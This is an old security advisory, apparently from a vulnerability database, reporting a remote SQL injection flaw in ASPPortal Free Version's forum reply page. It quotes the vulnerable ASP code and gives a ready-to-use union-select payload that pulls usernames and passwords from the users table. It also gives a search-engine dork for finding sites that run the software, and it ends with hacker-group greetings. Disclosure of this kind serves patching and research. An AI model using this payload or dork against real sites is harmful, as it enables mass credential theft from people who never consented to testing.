ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability

2008-06-14T00:00:00
ID SECURITYVULNS:DOC:20035
Type securityvulns
Reporter Securityvulns
Modified 2008-06-14T00:00:00

Description

[+] Info:

[~] Bug found by Jose Luis Gуngora Fernбndez (JosS) [~] sys-project[at]hotmail.com [~] http://www.spanish-hackers.com [~] Spanish Hackers Team - [SHT] [~] EspSeC & Hack0wn!.

[~] Software: ASPPortal Free Version [~] HomePage: http://www.aspportal.net/ [~] Exploit: Remote SQL Injection Vulnerability [High]

[~] Dork: "Powered by www.aspportal.net"

[+] Remote SQL Injection:

[~] Vuln file: /content/forums/reply.asp

// -------------------------------------- //

line 2: <% Dim TopicID Dim ForumID

    TopicID = Server.HTMLEncode&#40;request&#40;&quot;Topic_id&quot;&#41;&#41;
    ForumID = Server.HTMLEncode&#40;request&#40;&quot;Forum_ID&quot;&#41;&#41;

%> <% 'sub db_select_detail_Disc_Topics sql="SELECT Forums_Topics.Topic_ID, Forums_Topics.Forum_ID, Forums_Topics.Author, Forums_Topics.Topic_Subject, Forums_Topics.Topic_Message, Forums_Topics.IsActive, Forums_Topics.IsLocked, Forums_Topics.Date_Added, Forums_Topics.Created_By, Forums_Topics.Enable_EMail, Forums_Topics.Enable_Sign, Forums_Topics.Icon, users.Username, users.User_id, users.Signature FROM users RIGHT OUTER JOIN Forums_Topics ON users.User_id = Forums_Topics.Author Where Topic_ID = " & to_sql(TopicID,"number") & ""

    &#39;response.write sql

    set rs = cn.Execute&#40;sql&#41;

line 21: TopicId = rs("Topic_Id")

// -------------------------------------- //

[~] http://localhost/PATH/content/forums/reply.asp?Forum_Id=3&Topic_Id=[SQL] [~] 6+and+1=2+union+select+1,2,3,4,Password,6,7,Username,9,0,1,2,3,4,5+from+users

[~] GreeTz: str0ke; nhh-32; an0de; ka0x; s3ism0; ayin; k0rde; zy0nx; you_kn0w; ssh-2; nettoxic; phnx; murder; and more...

  • In memory of rgod